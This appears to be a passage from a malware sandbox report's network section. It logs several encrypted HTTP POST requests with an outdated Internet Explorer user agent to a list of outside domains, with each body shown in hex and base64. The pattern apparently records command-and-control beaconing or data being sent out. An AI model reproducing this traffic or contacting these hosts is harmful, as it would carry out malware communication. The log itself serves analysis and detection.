7a 69 2f 35 77 6f 43 4a 32 75 69 70 61 62 49 36 47 46 78 6e 72 43 36 34 35 47 78 4f 74 34 36 51 38 75 79 61 6e 32 2f 55 5a 73 71 55 4f 63 4e 48 34 7a 6a 63 50 47 77 55 33 73 64 6c 6f 59 50 62 58 71 78 6f 4c 73 7a 59 4b 39 73 6a 78 69 63 65 68 66 71 6b 72 64 61 73 64 38 2b 56 78 77 57 6d 45 4b 31 57 72 43 55 69 4b 34 32 75 45 6c 35 4c 2f 67 66 61 55 67 31 6c 36 31 78 54 66 6c 6c 45 30 41 4d 30 6f 52 68 35 4d 62 58 4d 52 53 36 56 45 66 31 77 65 6a 68 63 32 48 79 6a 78 65 73 5a 38 46 66 68 50 56 4c 76 72 44 50 61 52 39 79 6b 71 31 2f 35 65 4f 39 75 6c 63 56 6f 68 76 6a 34 64 55 30 64 71 6d 51 35 4f 79 74 44 50 72 74 6d 77 6f 4c 67 59 76 6d 52 44 5a 30 69 74 62 6f 73 65 72 4d 30 65 67 6c 30 67 57 47 36 71 66 39 47 63 4e 2b 72 72 55 69 2f 57 43 6d 66 4d 39 67 53 58 72 71 36 65 58 6b 38 61 52 62 4e 33 53 30 65 65 43 39 38 38 74 54 50 57 6d 56 70 58 53 4d 6e 79 43 67 74 41 73 50 45 5a 50 4d 70 4f 78 46 78 6a 77 59 72 7a 48 63 74 Data Ascii: O6DCPbPibg/kecQ3+sjeVlwnJP0Zjzwkl5vy6MtZTWzCIAYOCpytIwqO5JhZnhOU9a2pWkN0cRWhTO0pc8S61QtiFNmj8cDNFebaZuGpaUWTAvVayxdZe20Ftjna2wzrIdVfbC6p/qjKpcY8P9yFG8DYhn7P9Az7L02LErHj3KPKjHlpKYh1kc2Ii1e7sgSpDqVoenbDU49Wd+02ES7jQrahzvibPXRrEsEe2/UR5Aalzi/5woCJ2uipabI6GFxnrC645GxOt46Q8uyan2/UZsqUOcNH4zjcPGwU3sdloYPbXqxoLszYK9sjxicehfqkrdasd8+VxwWmEK1WrCUiK42uEl5L/gfaUg1l61xTfllE0AM0oRh5MbXMRS6VEf1wejhc2HyjxesZ8FfhPVLvrDPaR9ykq1/5eO9ulcVohvj4dU0dqmQ5OytDPrtmwoLgYvmRDZ0itboserM0egl0gWG6qf9GcN+rrUi/WCmfM9gSXrq6eXk8aRbN3S0eeC988tTPWmVpXSMnyCgtAsPEZPMpOxFxjwYrzHct
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nqks.comCache-Control: no-cacheData Raw: 49 55 32 36 79 6f 62 4a 2b 6c 6b 4c 56 50 2b 6c 6f 5a 4f 4d 61 4b 6c 59 6d 2b 33 6d 46 64 6b 4e 47 73 59 7a 35 46 48 74 50 63 4e 4a 2b 50 4d 42 45 62 55 55 75 79 64 63 38 44 52 42 7a 4b 42 4a 74 73 42 32 4e 62 30 56 5a 6f 37 2f 63 77 62 52 36 6c 31 2b 75 5a 38 62 71 4a 33 64 6b 2b 6c 64 55 56 4b 59 33 6b 56 45 6f 56 4f 42 72 62 54 6d 53 4d 50 35 77 6f 65 75 41 68 53 63 2b 5a 30 4b 42 63 6f 72 4e 31 43 33 4f 55 6e 52 55 6f 69 38 74 6a 63 69 4f 35 4f 44 69 6f 45 6b 56 73 72 76 6f 41 4d 31 31 61 70 2b 65 72 74 49 6d 4b 63 68 31 67 55 45 52 48 63 58 38 30 37 71 41 59 6f 58 5a 6a 6e 6e 50 71 39 30 51 5a 41 41 66 59 51 57 76 56 43 75 2b 35 4b 5a 47 45 79 61 57 55 6f 56 52 39 57 4c 51 50 4f 36 39 6f 32 30 4c 6c 33 58 39 59 4e 61 76 6d 6c 77 66 68 66 66 51 36 50 68 6f 43 42 61 50 76 58 37 63 41 45 75 76 39 61 37 72 43 47 36 71 45 39 79 75 6d 47 54 72 74 2f 7a 42 30 53 4c 6d 45 51 51 6a 4a 4c 76 5a 47 70 30 68 36 44 79 78 62 67 39 76 6a 32 6f 53 4d 4f 78 69 34 66 34 5a 44 4f 43 65 79 75 6b 78 64 34 7a 6f 6f 41 47 44 37 38 75 56 41 41 79 34 6d 56 61 33 6d 65 73 55 7a 56 39 6c 58 39 36 62 6a 30 65 50 6d 72 55 52 39 6f 6f 35 73 2b 77 48 44 76 72 74 48 68 4b 35 44 61 66 34 6c 53 59 2b 4a 2b 37 2f 6b 55 4b 52 4e 74 6f 6f 2b 59 66 71 33 52 6e 49 7a 70 77 70 65 4e 38 7a 66 4a 74 42 35 2b 4e 45 61 6b 43 51 66 76 48 61 2f 63 57 69 37 45 79 50 53 41 4c 4f 6f 30 7a 36 30 52 50 43 35 45 4e 66 59 47 74 70 4a 59 6d 45 74 33 35 30 4d 61 76 33 70 36 63 6a 41 61 6d 59 36 4a 35 54 4f 4c 78 6b 36 46 30 66 5a 79 2b 42 68 38 45 73 41 50 56 46 30 72 39 34 45 73 35 36 6f 61 34 69 31 47 61 2b 72 77 50 47 47 33 34 50 4f 78 7a 68 2f 37 4a 4e 6a 2f 45 6e 2b 4a 75 68 36 6e 72 53 47 57 37 71 76 39 71 53 45 7a 4a 74 79 4d 2b 6d 46 65 50 Data Ascii: IU26yobJ+lkLVP+loZOMaKlYm+3mFdkNGsYz5FHtPcNJ+PMBEbUUuydc8DRBzKBJtsB2Nb0VZo7/cwbR6l1+uZ8bqJ3dk+ldUVKY3kVEoVOBrbTmSMP5woeuAhSc+Z0KBcorN1C3OUnRUoi8tjciO5ODioEkVsrvoAM11ap+ertImKch1gUERHcX807qAYoXZjnnPq90QZAAfYQWvVCu+5KZGEyaWUoVR9WLQPO69o20Ll3X9YNavmlwfhffQ6PhoCBaPvX7cAEuv9a7rCG6qE9yumGTrt/zB0SLmEQQjJLvZGp0h6Dyxbg9vj2oSMOxi4f4ZDOCeyukxd4zooAGD78uVAAy4mVa3mesUzV9lX96bj0ePmrUR9oo5s+wHDvrtHhK5Daf4lSY+J+7/kUKRNtoo+Yfq3RnIzpwpeN8zfJtB5+NEakCQfvHa/cWi7EyPSALOo0z60RPC5ENfYGtpJYmEt350Mav3p6cjAamY6J5TOLxk6F0fZy+Bh8EsAPVF0r94Es56oa4i1Ga+rwPGG34POxzh/7JNj/En+Juh6nrSGW7qv9qSEzJtyM+mFeP
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ex-olive.comCache-Control: no-cacheCookie: PHPSESSID=atushmpkrhuqa87aie074ttki7Data Raw: 67 4b 4a 48 4e 41 43 69 54 31 6e 6d 54 5a 75 45 30 79 30 47 55 6a 4d 5a 47 6b 76 6f 4b 48 6f 62 4e 4c 46 43 72 6c 62 35 78 38 51 7a 30 41 74 56 48 51 64 70 75 77 5a 62 47 77 31 6d 75 64 50 6a 69 38 56 4d 67 59 78 7a 48 57 36 4d 45 2b 73 6e 4d 72 4c 72 61 50 6a 2b 6d 6b 45 53 50 38 47 7a 55 76 31 77 78 31 32 6c 51 58 74 4e 4c 42 66 61 4b 48 44 55 72 49 46 68 4e 6a 61 38 41 4c 69 31 48 37 32 39 55 6d 76 68 61 2f 39 6a 75 7a 78 6e 74 32 66 75 45 38 63 6c 33 6a 47 58 54 71 32 2f 42 57 46 4b 6f 77 5a 34 6d 62 70 56 72 47 38 35 48 71 51 50 56 47 55 59 4b 4e 2f 36 36 47 77 75 5a 6d 48 4a 65 75 33 72 43 75 32 57 6f 76 70 43 75 77 49 4a 4f 63 7a 74 70 70 50 43 46 39 61 43 7a 6e 68 4b 31 79 4b 6f 53 53 65 7a 4b 6d 78 47 39 33 4b 7a 45 50 75 66 6a 65 54 30 69 4f 32 6e 78 53 56 31 4e 58 67 6c 73 2f 72 39 67 65 55 41 75 5a 47 67 64 53 66 4a 39 6a 73 53 37 4a 68 76 73 2f 5a 55 2f 4d 38 47 78 5a 77 74 63 66 73 72 51 78 54 53 6c 4a 51 4a 4d 78 32 6c 58 78 62 71 42 73 4b 30 59 6d 35 31 6f 58 75 6c 69 54 38 2b 47 2b 58 2f 31 41 79 37 43 54 6f 32 5a 6a 4c 66 6a 44 52 49 55 75 46 79 4b 53 4a 46 35 6e 54 33 2f 55 78 34 35 58 77 41 51 6c 4a 4a 6d 54 68 57 43 36 5a 72 35 75 62 76 48 6e 79 76 50 39 6f 4b 69 53 38 35 79 72 37 61 75 38 6e 67 68 4b 77 53 66 6b 63 4d 4f 53 59 67 43 62 56 41 38 71 70 69 45 41 65 6d 50 55 71 34 46 39 56 2f 7a 6d 5a 35 4d 78 74 79 68 47 68 36 30 6e 36 47 6c 73 32 43 64 74 63 67 68 66 64 51 67 38 7a 32 6b 65 79 68 4c 42 47 49 43 38 59 41 48 33 32 42 4d 49 6e 63 72 2f 4b 74 6d 76 73 67 51 6d 74 47 4e 34 79 57 34 69 38 39 36 56 4b 66 46 4e 63 34 51 48 73 34 54 61 51 5a 35 6a 34 2b 50 66 67 69 56 37 7a 6f 72 2b 56 4e Data Ascii: gKJHNACiT1nmTZuE0y0GUjMZGkvoKHobNLFCrlb5x8Qz0AtVHQdpuwZbGw1mudPji8VMgYxzHW6ME+snMrLraPj+mkESP8GzUv1wx12lQXtNLBfaKHDUrIFhNja8ALi1H729Umvha/9juzxnt2fuE8cl3jGXTq2/BWFKowZ4mbpVrG85HqQPVGUYKN/66GwuZmHJeu3rCu2WovpCuwIJOcztppPCF9aCznhK1yKoSSezKmxG93KzEPufjeT0iO2nxSV1NXgls/r9geUAuZGgdSfJ9jsS7Jhvs/ZU/M8GxZwtcfsrQxTSlJQJMx2lXxbqBsK0Ym51oXuliT8+G+X/1Ay7CTo2ZjLfjDRIUuFyKSJF5nT3/Ux45XwAQlJJmThWC6Zr5ubvHnyvP9oKiS85yr7au8nghKwSfkcMOSYgCbVA8qpiEAemPUq4F9V/zmZ5MxtyhGh60n6Gls2CdtcghfdQg8z2keyhLBGIC8YAH32BMIncr/KtmvsgQmtGN4yW4i896VKfFNc4QHs4TaQZ5j4+PfgiV7zor+VN
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fe-bauer.deCache-Control: no-cacheData Raw: 48 46 57 56 4c 58 59 38 6d 6c 6b 43 45 55 67 67 30 51 6e 68 4a 42 6c 35 72 4b 2b 57 71 35 54 6d 43 71 69 71 55 62 41 55 51 4e 34 76 44 67 47 72 6e 7a 39 68 74 6f 61 58 64 74 6a 6a 62 31 30 4a 75 64 55 50 6e 54 43 6b 42 7a 46 47 4f 41 45 4b 5a 54 45 44 6d 43 47 68 31 72 50 6d 6b 39 6a 42 4c 57 6d 46 65 71 5a 63 4c 4a 6c 51 46 69 41 78 73 55 62 61 38 52 31 67 66 75 55 57 77 51 78 6a 45 6b 51 6e 6d 78 49 74 44 75 32 6c 71 52 2f 6a 79 69 72 49 34 74 63 38 70 6a 46 37 53 36 2b 44 47 66 51 41 51 7a 74 6e 38 35 69 43 6b 2b 64 6a 58 35 59 2f 2f 57 30 48 38 51 65 6d 53 57 37 30 30 70 73 4e 68 47 6e 43 50 50 36 73 66 61 42 76 67 6b 6f 62 57 30 46 63 4e 70 50 56 2b 45 52 70 75 2b 6d 52 71 6f 47 77 65 63 38 56 4d 59 30 61 4a 4d 55 79 36 37 4f 38 56 4b 44 58 63 4f 41 70 68 65 42 33 37 70 71 6f 69 47 30 58 4f 61 74 61 66 37 64 49 65 43 74 56 52 5a 54 71 34 79 32 4d 6e 58 6e 44 39 54 61 45 33 31 2f 69 78 36 4e 7a 63 58 67 68 4e 71 59 50 51 64 45 46 36 6c 54 61 65 76 79 42 4d 4c 31 6f 6e 67 31 4e 65 2f 6a 46 47 62 2f 4c 39 31 62 6b 70 4e 31 34 57 4c 51 73 44 42 6d 4f 2b 48 47 6d 63 41 42 76 50 46 77 38 35 69 55 6f 37 6d 39 6f 58 35 41 68 68 71 55 2f 65 4a 51 79 2f 54 48 2b 44 51 42 2f 54 45 78 72 55 37 67 6d 30 70 6e 57 34 2f 74 74 6e 42 52 54 38 50 39 4d 30 2b 59 33 47 47 67 69 49 69 6a 54 6f 57 31 68 51 73 41 31 4c 54 43 6b 6a 45 34 55 73 42 48 62 72 47 4a 42 2b 76 37 42 38 61 6c 72 49 4d 59 55 59 73 37 4e 38 4b 55 44 47 62 4e 37 5a 39 2b 54 46 6b 66 37 6f 4e 59 66 57 69 35 48 4c 71 4f 6b 61 31 45 69 36 6b 69 6e 5a 2b 37 53 4a 77 44 50 77 43 4c 72 78 67 6e 4d 6f 76 47 54 38 4b 43 44 2b 76 49 31 30 64 67 4e 74 67 3d 3d Data Ascii: HFWVLXY8mlkCEUgg0QnhJBl5rK+Wq5TmCqiqUbAUQN4vDgGrnz9htoaXdtjjb10JudUPnTCkBzFGOAEKZTEDmCGh1rPmk9jBLWmFeqZcLJlQFiAxsUba8R1gfuUWwQxjEkQnmxItDu2lqR/jyirI4tc8pjF7S6+DGfQAQztn85iCk+djX5Y//W0H8QemSW700psNhGnCPP6sfaBvgkobW0FcNpPV+ERpu+mRqoGwec8VMY0aJMUy67O8VKDXcOApheB37pqoiG0XOataf7dIeCtVRZTq4y2MnXnD9TaE31/ix6NzcXghNqYPQdEF6lTaevyBML1ong1Ne/jFGb/L91bkpN14WLQsDBmO+HGmcABvPFw85iUo7m9oX5AhhqU/eJQy/TH+DQB/TExrU7gm0pnW4/ttnBRT8P9M0+Y3GGgiIijToW1hQsA1LTCkjE4UsBHbrGJB+v7B8alrIMYUYs7N8KUDGbN7Z9+TFkf7oNYfWi5HLqOka1Ei6kinZ+7SJwDPwCLrxgnMovGT8KCD+vI10dgNtg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jchysk.comCache-Control: no-cacheData Raw: 49 48 44 4b 4e 6d 53 47 47 77 38 37 78 61 58 32 2f 35 34 6b 47 44 66 54 70 34 59 63 66 35 5a 65 32 41 6b 59 47 63 2f 62 33 31 6a 32 7a 36 68 39 38 47 4f 57 41 51 42 67 6f 73 61 79 48 46 43 74 5a 67 70 78 4e 70 44 77 57 69 34 71 76 73 44 4c 6b 32 37 4f 34 49 76 51 66 2f 63 72 6f 72 4d 43 63 45 54 4a 54 2b 43 47 5a 66 6c 4a 6e 39 46 5a 4b 2f 4f 56 61 4f 69 31 56 4c 47 67 33 2f 39 31 46 32 33 30 46 42 67 74 30 64 57 2b 2b 66 62 51 37 65 73 64 4b 79 71 56 35 66 31 33 61 75 59 57 4b 70 78 4a 39 74 71 79 55 78 78 31 6b 2f 51 76 72 55 54 70 4a 37 50 42 78 4c 4d 52 73 33 66 2f 76 46 64 33 2f 38 6b 2b 53 74 55 7a 75 43 35 4b 35 37 7a 61 52 37 53 30 37 54 34 57 6e 2f 76 7a 72 6f 52 31 62 36 4a 63 4e 52 61 43 38 62 6b 73 31 62 63 50 43 70 4b 72 6a 59 78 32 4e 34 5a 42 64 67 72 78 4a 33 4f 74 58 46 6a 55 44 68 66 64 6a 48 72 75 46 64 51 4a 70 51 6a 6f 54 59 43 67 53 46 39 68 69 78 61 47 5a 57 49 6d 6d 79 45 33 34 65 42 50 6e 78 4e 4d 5a 34 55 79 43 4c 43 63 55 57 6b 69 41 43 55 59 4c 50 44 63 45 73 38 73 41 34 61 45 78 7a 78 69 31 37 6d 69 42 2f 71 37 74 79 51 63 73 4e 4f 6d 65 43 6e 75 51 72 69 30 32 47 4f 44 51 45 66 4d 73 37 53 45 4a 6d 56 62 38 32 2f 75 33 4c 65 48 6d 75 33 34 74 4d 65 32 70 37 56 4c 76 6e 73 52 45 4d 79 65 59 4a 57 61 75 5a 6c 4f 62 55 50 33 4b 4a 2b 64 32 48 59 61 4c 4f 59 59 59 38 7a 55 70 7a 32 51 78 36 5a 4a 69 59 74 6e 35 7a 6e 38 47 31 54 78 35 39 51 41 42 2b 4e 69 6b 4e 63 59 4d 67 55 66 63 70 76 63 67 39 44 72 4d 76 6f 50 39 45 71 41 4c 73 37 66 48 4a 38 47 6f 34 4d 6d 45 6f 6b 6d 7a 63 69 6f 69 67 73 78 69 62 63 67 73 7a 78 73 31 4b 5a 7a 53 2f 6a 36 54 47 7a 2f 4a 6f 64 6b 53 2b 45 33 74 41 3d 3d Data Ascii: IHDKNmSGGw87xaX2/54kGDfTp4Ycf5Ze2AkYGc/b31j2z6h98GOWAQBgosayHFCtZgpxNpDwWi4qvsDLk27O4IvQf/crorMCcETJT+CGZflJn9FZK/OVaOi1VLGg3/91F230FBgt0dW++fbQ7esdKyqV5f13auYWKpxJ9tqyUxx1k/QvrUTpJ7PBxLMRs3f/vFd3/8k+StUzuC5K57zaR7S07T4Wn/vzroR1b6JcNRaC8bks1bcPCpKrjYx2N4ZBdgrxJ3OtXFjUDhfdjHruFdQJpQjoTYCgSF9hixaGZWImmyE34eBPnxNMZ4UyCLCcUWkiACUYLPDcEs8sA4aExzxi17miB/q7tyQcsNOmeCnuQri02GODQEfMs7SEJmVb82/u3LeHmu34tMe2p7VLvnsREMyeYJWauZlObUP3KJ+d2HYaLOYYY8zUpz2Qx6ZJiYtn5zn8G1Tx59QAB+NikNcYMgUfcpvcg9DrMvoP9EqALs7fHJ8Go4MmEokmzcioigsxibcgszxs1KZzS/j6TGz/JodkS+E3tA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.baijaku.comCache-Control: no-cacheData Raw: 46 4d 6c 6d 6a 69 44 43 6b 67 39 31 50 37 74 66 63 34 35 62 64 56 50 53 39 61 4f 49 57 2b 33 59 56 49 4e 6b 79 33 2f 2f 57 54 42 37 46 2f 33 58 6a 68 71 75 57 4e 68 63 55 48 32 6c 39 63 32 47 75 41 7a 73 55 4e 44 4f 72 6e 63 6e 4c 45 65 55 4d 48 37 6c 4c 4a 45 56 6f 69 39 73 4e 44 4d 75 6e 47 63 65 4a 73 79 53 2f 36 53 41 36 30 54 53 68 74 6b 38 56 42 4b 65 52 47 49 71 4c 4d 68 48 66 61 70 68 4f 34 30 6a 74 41 52 68 72 48 58 6f 67 69 38 37 47 57 33 79 52 6f 34 6c 67 57 6e 45 58 71 4f 65 53 61 72 50 6e 4d 52 35 63 77 4d 6b 75 75 38 44 6f 77 32 70 4a 68 2b 63 57 4a 57 4f 30 2b 46 4a 76 62 65 61 32 46 42 39 79 46 50 65 63 51 4d 33 6c 37 72 79 4c 65 48 65 31 58 52 55 79 57 33 6c 5a 2f 35 64 74 51 58 36 79 4a 5a 7a 4e 2b 32 54 2b 38 62 38 64 69 50 38 74 58 53 72 4c 30 32 67 2b 49 34 45 6c 43 45 47 43 54 64 4b 74 65 4c 31 68 52 37 58 38 47 6f 76 34 79 44 48 4c 77 6e 76 37 4d 33 76 72 72 61 6d 54 4e 6d 77 53 57 56 32 6e 76 47 50 49 67 42 59 45 54 78 55 36 6e 77 45 46 55 4c 52 45 50 4f 4a 52 47 55 32 4c 37 6c 46 37 63 69 65 4f 38 6f 57 61 51 64 66 6a 44 52 30 76 70 6c 53 6c 39 4a 6e 30 6b 50 6d 78 47 49 6f 73 73 71 6d 65 42 62 30 4c 67 57 2f 30 7a 53 55 42 68 46 4f 79 4e 46 4d 6c 6d 76 55 63 6f 67 73 36 43 53 4a 76 39 35 46 5a 62 45 6d 36 4a 76 79 74 63 78 39 50 53 50 55 77 53 53 69 71 75 6e 57 4a 65 45 74 78 4f 4c 56 62 75 34 6e 62 5a 6f 77 62 4a 78 70 44 4c 70 43 45 33 61 65 5a 2f 6d 53 39 36 33 52 73 44 70 6c 7a 67 69 51 39 56 4c 6f 73 30 54 4e 79 44 38 4f 36 63 70 68 4a 47 41 69 68 55 62 4d 33 77 72 46 36 71 79 45 54 6f 77 33 46 6c 52 6e 76 73 70 2b 74 72 37 4d 59 4a 72 53 32 6d 6b 77 78 73 38 72 67 39 69 6b 32 4d 4e 4b 4f 46 34 7a 6b 36 47 33 53 76 66 64 2b 48 56 64 2f 41 3d 3d Data Ascii: FMlmjiDCkg91P7tfc45bdVPS9aOIW+3YVINky3//WTB7F/3XjhquWNhcUH2l9c2GuAzsUNDOrncnLEeUMH7lLJEVoi9sNDMunGceJsyS/6SA60TShtk8VBKeRGIqLMhHfaphO40jtARhrHXogi87GW3yRo4lgWnEXqOeSarPnMR5cwMkuu8Dow2pJh+cWJWO0+FJvbea2FB9yFPecQM3l7ryLeHe1XRUyW3lZ/5dtQX6yJZzN+2T+8b8diP8tXSrL02g+I4ElCEGCTdKteL1hR7X8Gov4yDHLwnv7M3vrramTNmwSWV2nvGPIgBYETxU6nwEFULREPOJRGU2L7lF7cieO8oWaQdfjDR0vplSl9Jn0kPmxGIossqmeBb0LgW/0zSUBhFOyNFMlmvUcogs6CSJv95FZbEm6Jvytcx9PSPUwSSiqunWJeEtxOLVbu4nbZowbJxpDLpCE3aeZ/mS963RsDplzgiQ9VLos0TNyD8O6cphJGAihUbM3wrF6qyETow3FlRnvsp+tr7MYJrS2mkwxs8rg9ik2MNKOF4zk6G3Svfd+HVd/A==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.dgmna.comCache-Control: no-cacheData Raw: 6b 65 2f 72 59 37 55 51 69 51 2b 74 52 47 34 78 48 4f 71 35 52 4b 34 2b 5a 62 56 44 71 74 65 31 75 62 67 38 61 4d 69 6d 6f 34 4e 77 4e 43 57 32 43 69 77 4d 6c 61 58 54 45 4d 67 41 6e 55 4e 49 57 36 66 67 6e 31 36 69 59 6e 42 36 61 31 55 57 41 4c 64 6a 6d 30 37 70 39 33 55 65 63 74 67 55 45 6c 30 65 31 53 76 78 79 56 67 34 6c 77 31 6a 61 69 79 30 57 61 61 6c 66 68 6a 66 41 49 76 36 45 2b 6f 58 4c 63 7a 33 4a 2f 51 2b 53 6c 55 66 48 49 57 47 44 6a 6b 65 65 31 53 78 77 62 58 5a 6a 33 54 62 30 71 64 61 4d 53 6f 64 74 4e 4e 6d 6b 74 66 6c 56 51 77 76 4d 44 31 47 4e 52 4f 4e 70 37 65 66 4b 57 2f 54 72 6c 6f 59 42 4f 4a 50 65 56 39 5a 51 2f 50 4a 6f 53 30 78 52 4b 38 49 52 4c 53 42 4d 38 71 76 32 53 56 69 54 6c 77 56 78 75 62 66 48 71 56 32 74 4b 51 4d 44 74 69 2b 47 2b 37 63 6c 39 71 30 68 6c 42 6c 50 61 4a 69 46 59 75 62 58 79 58 2b 62 33 70 44 63 48 75 52 74 75 73 62 59 5a 6f 78 68 33 34 51 66 4d 57 63 4b 59 68 6f 37 41 37 2b 55 39 36 6a 47 70 47 72 6c 30 65 32 6b 4c 59 49 50 67 53 65 75 50 77 74 35 73 71 75 73 35 57 33 57 63 4a 4d 54 35 59 64 4d 74 79 32 73 4c 38 52 64 70 59 76 7a 76 76 74 70 4a 45 6c 4c 57 56 66 2b 30 78 6a 6a 41 58 51 75 65 45 4d 78 41 79 31 41 66 69 35 50 4e 68 5a 6a 66 4e 55 79 49 4c 50 76 6f 50 75 42 5a 42 77 4d 76 58 5a 75 49 68 4c 74 30 4a 2b 6a 56 56 73 46 32 57 52 48 68 79 53 66 70 49 58 46 77 47 42 78 36 4b 53 6f 49 44 37 6b 35 2b 38 38 48 47 46 53 79 6f 56 2f 33 57 52 66 69 63 67 62 42 63 65 51 49 61 34 67 65 52 63 44 34 62 73 65 73 37 4b 31 2f 55 5a 6f 4d 31 50 6d 30 55 37 69 53 53 37 58 53 36 38 61 4f 6a 4f 4f 49 36 70 74 52 72 6c 4c 41 3d 3d Data Ascii: ke/rY7UQiQ+tRG4xHOq5RK4+ZbVDqte1ubg8aMimo4NwNCW2CiwMlaXTEMgAnUNIW6fgn16iYnB6a1UWALdjm07p93UectgUEl0e1SvxyVg4lw1jaiy0WaalfhjfAIv6E+oXLcz3J/Q+SlUfHIWGDjkee1SxwbXZj3Tb0qdaMSodtNNmktflVQwvMD1GNRONp7efKW/TrloYBOJPeV9ZQ/PJoS0xRK8IRLSBM8qv2SViTlwVxubfHqV2tKQMDti+G+7cl9q0hlBlPaJiFYubXyX+b3pDcHuRtusbYZoxh34QfMWcKYho7A7+U96jGpGrl0e2kLYIPgSeuPwt5squs5W3WcJMT5YdMty2sL8RdpYvzvvtpJElLWVf+0xjjAXQueEMxAy1Afi5PNhZjfNUyILPvoPuBZBwMvXZuIhLt0J+jVVsF2WRHhySfpIXFwGBx6KSoID7k5+88HGFSyoV/3WRficgbBceQIa4geRcD4bses7K1/UZoM1Pm0U7iSS7XS68aOjOOI6ptRrlLA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 73 52 72 51 52 42 49 4f 69 41 39 31 73 69 48 51 78 64 61 30 6d 78 58 70 48 78 39 69 73 36 74 39 5a 69 30 39 68 4e 31 46 32 55 6b 4e 6c 69 70 35 72 53 72 34 66 70 70 57 4f 6c 59 38 30 2b 33 34 37 6d 31 42 6b 38 38 65 4b 4d 4d 48 74 59 4d 77 62 63 4a 6b 76 72 51 6a 56 44 76 37 4d 5a 59 2b 43 6a 6f 52 51 71 6b 72 4b 74 51 34 69 52 53 61 37 4c 59 32 55 43 4d 46 47 63 78 70 64 6a 7a 5a 77 2f 43 34 31 7a 2f 68 77 44 68 59 4d 54 64 39 71 71 6c 59 73 5a 51 70 76 46 78 70 41 57 5a 55 47 34 6e 6c 77 69 46 61 56 71 6b 64 64 4b 66 67 77 74 59 54 4d 78 65 64 74 75 71 6e 79 67 63 6e 47 61 62 79 57 6d 66 72 50 56 72 43 51 58 4b 38 57 31 72 54 67 66 38 54 34 39 41 6b 54 51 78 46 6f 48 64 31 6b 54 2f 5a 61 79 45 4b 75 71 37 55 30 6f 57 30 37 61 64 44 6d 35 79 4d 4d 54 78 2f 43 33 6a 57 67 58 56 35 37 36 39 67 6b 42 77 4f 35 4b 68 42 56 55 4e 30 4a 7a 37 44 71 45 42 6e 77 65 47 68 46 74 38 34 32 6c 53 32 62 45 65 52 64 7a 75 56 49 77 49 61 49 30 49 55 43 6f 31 37 72 41 6b 45 4a 2b 4b 38 4c 36 6e 51 6b 45 41 42 7a 34 71 65 61 75 57 4b 4d 75 50 72 38 61 35 69 4f 74 57 33 44 4e 33 4e 4c 4a 53 77 64 69 77 63 49 31 4e 33 69 49 6f 32 4e 65 57 35 49 78 62 6b 6b 58 51 61 44 56 74 31 39 75 61 70 46 46 47 36 62 41 6f 34 47 51 48 64 62 37 78 7a 76 55 66 2f 56 46 43 37 58 58 65 78 34 49 47 6d 65 69 68 41 53 31 35 30 63 64 4b 6d 30 55 67 68 6c 64 4e 2b 77 69 38 66 61 47 51 4f 68 41 6d 79 43 6f 5a 41 34 39 59 77 30 31 61 33 4b 7a 43 42 37 6f 43 50 74 37 76 63 7a 49 56 54 50 77 7a 2b 46 73 74 4a 37 54 32 35 72 6f 78 77 55 70 37 63 4b 38 48 51 62 36 4b 56 55 6b 64 6d 69 62 54 4c 57 49 6c 53 77 34 4b 69 33 71 4b 50 56 51 56 65 31 4c 31 61 4b 59 47 32 6a 58 39 79 43 38 77 73 45 4a 51 58 48 37 76 57 37 66 4a 51 67 53 43 43 48 51 6f 54 59 2b 47 5a 52 74 43 4f 68 50 61 42 6d 4d 38 3d Data Ascii: sRrQRBIOiA91siHQxda0mxXpHx9is6t9Zi09hN1F2UkNlip5rSr4fppWOlY80+347m1Bk88eKMMHtYMwbcJkvrQjVDv7MZY+CjoRQqkrKtQ4iRSa7LY2UCMFGcxpdjzZw/C41z/hwDhYMTd9qqlYsZQpvFxpAWZUG4nlwiFaVqkddKfgwtYTMxedtuqnygcnGabyWmfrPVrCQXK8W1rTgf8T49AkTQxFoHd1kT/ZayEKuq7U0oW07adDm5yMMTx/C3jWgXV5769gkBwO5KhBVUN0Jz7DqEBnweGhFt842lS2bEeRdzuVIwIaI0IUCo17rAkEJ+K8L6nQkEABz4qeauWKMuPr8a5iOtW3DN3NLJSwdiwcI1N3iIo2NeW5IxbkkXQaDVt19uapFFG6bAo4GQHdb7xzvUf/VFC7XXex4IGmeihAS150cdKm0UghldN+wi8faGQOhAmyCoZA49Yw01a3KzCB7oCPt7vczIVTPwz+FstJ7T25roxwUp7cK8HQb6KVUkdmibTLWIlSw4Ki3qKPVQVe1L1aKYG2jX9yC8wsEJQXH7vW7fJQgSCCHQoTY+GZRtCOhPaBmM8=
